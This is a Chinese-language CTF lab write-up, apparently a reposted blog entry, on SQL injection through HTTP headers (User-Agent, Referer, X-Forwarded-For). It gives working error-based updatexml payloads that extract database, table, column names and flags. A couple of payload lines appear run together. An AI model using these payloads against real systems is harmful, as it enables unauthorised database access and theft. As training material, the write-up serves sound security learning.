zoukankan      html  css  js  c++  java
  • 3.HEAD注入

    HEAD注入

    通过注入找到数据库中的Flag吧

    Flag格式zKaQ-XXXXXXXX

    靶场1

    http://injectx1.lab.aqlab.cn:81/Pass-07/index.php
    

    image-20210116155513371

    看到User-Agent了,大胆预测注入点在User-Agent,这提示的已经够明显的啦

    尝试一波常见后台账密登陆

    admin
    123456
    

    我擦是我要出师了吗? 竟然登陆成功了

    image-20210116155747753

    1. 抓包测试注入点

    User-Agent: sty
    

    image-20210116160133536

    果然User-Agent头里面输入什么页面就回显什么,但是不是数据库回显而是你输入的回显,很有可能是网站

    将你的User-Agent通过insert into保存在数据库中(代码审计果然是插入语句)

    单引号测试

    User-Agent: sty'
    

    image-20210116160421147

    说明在输入的后面就开始报错了,那不得不怀疑是单引号报错了,尝试注释掉后面的内容

    User-Agent: sty' --+
    

    image-20210116160800698

    发现不能直接注视掉,我不管原sql语句是什么,总之不能直接注释掉后面的内容,尝试闭合内容

    User-Agent: sty' and '1'='1
    User-Agent: sty','2') -- q          推荐这种
    

    image-20210116161147863

    没有报错说明闭合成功,既然有报错我们就用报错注入

    2. 获取库名

    User-Agent: sty' and updatexml(1,concat(0x5e,(select database()),0x5e),1)and '1'='1
    

    image-20210116161617047

    3. 获取表名

    1' and updatexml(1,concat(0x5e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5e),1) and '1'='1
    
    经过测试这关前面必须是数字',如果是字母就不会触发报错   真的是坑人,但是报错库名的时候可以是字母
    也建议手工注入的时候能数字千万别字符
    

    image-20210116164027634

    4. 获取字段

    1' and updatexml(1,concat(0x5e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag_head'),0x5e),1) and '1'='154d467f2a782a155f3585baa08e5d7elogins,user
    

    image-20210116164256499

    5. 获取flag

    1' and updatexml(1,concat(0x5e,(select group_concat(flag_h1) from head_error.flag_head),0x5e),1) and '1'='1
    

    image-20210116164458355

    但是奇怪的是尾部的^没有显示出来,应该是超出了xpath报错的长度了,报错注入只能显示32位的长度

    通过切割函数substr或者limit都可以二次获取全部内容,下面我们用limit获取最后一个

    1' and updatexml(1,concat(0x5e,(select flag_h1 from head_error.flag_head limit 2,1),0x5e),1) and '1'='11' and updatexml(1,substr(concat(0x5e,(select flag_h1 from head_error.flag_head limit 2,1),0x5e),1,16),1) and '1'='1
    

    image-20210116164826474

    这样我们就获取了head注入关卡中的三个flag了,靶场2和靶场1只有注入的地方不同,一个是useragent一个是

    referer,其他没啥区别,靶场3就有点特殊了,通过提示,添加X-Forwarded-For:才行

    X-Forwarded-For: 1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)and '1'='1
    

    image-20210116165758009

    剩下的操作就不展示了

    总结

    在数据库插入记录和更新记录 , 以及删除记录的时候 , 如果存在注入点 , 经常用报错注入来进行敏感信息的获取

    注意原sql语句的闭合,-- q应该是可以在插入语句中注入后面的语句,或者你用 and '1'='1 来闭合

    还有一个点就是在数据库中能用数字就别用字符

  • 相关阅读:
    sqlserver游标使用误区
    工作笔记——sqlserver引号的运用
    疯狂JAVA——数组
    工厂模式、单例和多例
    数据库数据交互详解(一)
    2016-4-6
    2016-4-5 博问问题、答题和查看收获
    Maven+Spring Batch+Apache Commons VF学习
    你忽视的静态类的作用(必看)
    Wireshark抓包工具使用教程以及常用抓包规则
  • 原文地址:https://www.cnblogs.com/xcymn/p/15712464.html
Copyright © 2011-2022 走看看